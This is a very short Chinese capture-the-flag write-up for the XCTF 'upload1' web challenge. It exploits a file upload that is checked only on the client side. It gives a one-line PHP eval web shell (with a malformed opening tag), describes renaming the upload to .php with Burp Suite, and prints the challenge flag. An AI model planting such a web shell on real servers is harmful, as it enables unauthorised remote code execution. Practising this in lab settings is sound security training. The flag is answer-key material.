攻防世界-Web-upload1

知识点

1.文件上传，前端验证

步骤

1.新建png图片，修改内容为一句话木马

<php @eval($_POST['cmd']); ?>

2.上传，使用BP抓包，修改后缀为php

3.连接

flag="cyberpeace{4535c0d064921bacf802000bf94443c7}